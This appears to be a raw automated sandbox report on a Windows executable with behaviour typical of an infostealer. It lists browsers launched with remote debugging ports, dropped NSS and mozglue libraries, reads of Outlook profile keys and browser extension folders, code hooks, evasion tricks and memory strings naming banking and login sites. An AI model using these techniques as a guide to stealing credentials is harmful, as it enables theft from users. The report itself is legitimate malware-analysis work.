Code function: 0_2_6C9E7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9E7030

Source: C:\Users\user\Desktop\gYjK72gL17.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\3KC1D7XT.htm

Jump to behavior

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: gYjK72gL17.exe, 00000000.00000002.2613667982.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2614092949.000000006CBDF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: gYjK72gL17.exe, 00000000.00000002.2613667982.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2614092949.000000006CBDF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: gYjK72gL17.exe, 00000000.00000002.2613667982.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2614092949.000000006CBDF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: gYjK72gL17.exe, 00000000.00000002.2613667982.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2614092949.000000006CBDF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: gYjK72gL17.exe, 00000000.00000002.2613667982.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2614092949.000000006CBDF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: gYjK72gL17.exe, 00000000.00000002.2613667982.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: gYjK72gL17.exe, 00000000.00000002.2613667982.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2614092949.000000006CBDF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: gYjK72gL17.exe, 00000000.00000003.2439812181.0000000009AED000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000003.2303794092.0000000009AFB000.00000004.00000020.00020000.00000000.sdmp, EGDGIIJJECFIDHJJKKFC.0.dr, GCGHJEBGHJKEBFHIJDHC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: gYjK72gL17.exe, 00000000.00000002.2613667982.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: gYjK72gL17.exe, 00000000.00000002.2613667982.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607785860.0000000003B71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: gYjK72gL17.exe

ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Users\user\Desktop\gYjK72gL17.exe "C:\Users\user\Desktop\gYjK72gL17.exe"
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2596 --field-trial-handle=2324,i,1475862429204762952,15165259420851730460,262144 /prefetch:8
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2320,i,3391580961989094564,10660087592265685708,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2188,i,279746520434431833,257325066205650014,262144 /prefetch:3
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2596 --field-trial-handle=2324,i,1475862429204762952,15165259420851730460,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2320,i,3391580961989094564,10660087592265685708,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2188,i,279746520434431833,257325066205650014,262144 /prefetch:3	Jump to behavior

Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: gYjK72gL17.exe

Static file information: File size 5820392 > 1048576

Source: gYjK72gL17.exe

Static PE information: Raw size of .vmp is bigger than: 0x100000 < 0x497400

Source: gYjK72gL17.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: gYjK72gL17.exe, 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: gYjK72gL17.exe, 00000000.00000002.2614092949.000000006CBDF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: gYjK72gL17.exe, 00000000.00000002.2614092949.000000006CBDF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: gYjK72gL17.exe, 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Code function: 0_2_6C983480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C983480

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp

Source: gYjK72gL17.exe	Static PE information: section name: .vmp
Source: gYjK72gL17.exe	Static PE information: section name: .vmp
Source: gYjK72gL17.exe	Static PE information: section name: .vmp
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Code function: 0_2_6C9BB536 push ecx; ret

0_2_6C9BB549

Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\gYjK72gL17.exe	Memory written: PID: 4512 base: 13D0005 value: E9 8B 2F FB 75			Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Memory written: PID: 4512 base: 77382F90 value: E9 7A D0 04 8A			Jump to behavior

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Code function: 0_2_6C9E55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9E55F0

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 82F5DE
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 8A2DB1
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 84B092
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 8AE047
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 70B67D
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 6C0247
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 79AFB6
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: B197D0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 7301DA
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 72E8D0
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 84AC9A
Source: C:\Users\user\Desktop\gYjK72gL17.exe	API/Special instruction interceptor: Address: 755B20

Source: C:\Users\user\Desktop\gYjK72gL17.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gYjK72gL17.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\gYjK72gL17.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\gYjK72gL17.exe

Code function: 0_2_6C99C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C99C930

Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\gYjK72gL17.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: DBKFHCFB.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: DBKFHCFB.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: DBKFHCFB.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: DBKFHCFB.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: DBKFHCFB.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: DBKFHCFB.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: gYjK72gL17.exe, 00000000.00000003.2442011468.0000000001586000.00000004.00000020.00020000.00000000.sdmp, gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001586000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DBKFHCFB.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: DBKFHCFB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: DBKFHCFB.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: DBKFHCFB.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: DBKFHCFB.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: DBKFHCFB.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: DBKFHCFB.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: DBKFHCFB.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: DBKFHCFB.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: DBKFHCFB.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: DBKFHCFB.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: DBKFHCFB.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: DBKFHCFB.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001551000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: DBKFHCFB.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: DBKFHCFB.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: DBKFHCFB.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: DBKFHCFB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: gYjK72gL17.exe, 00000000.00000002.2607101722.0000000001527000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DBKFHCFB.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
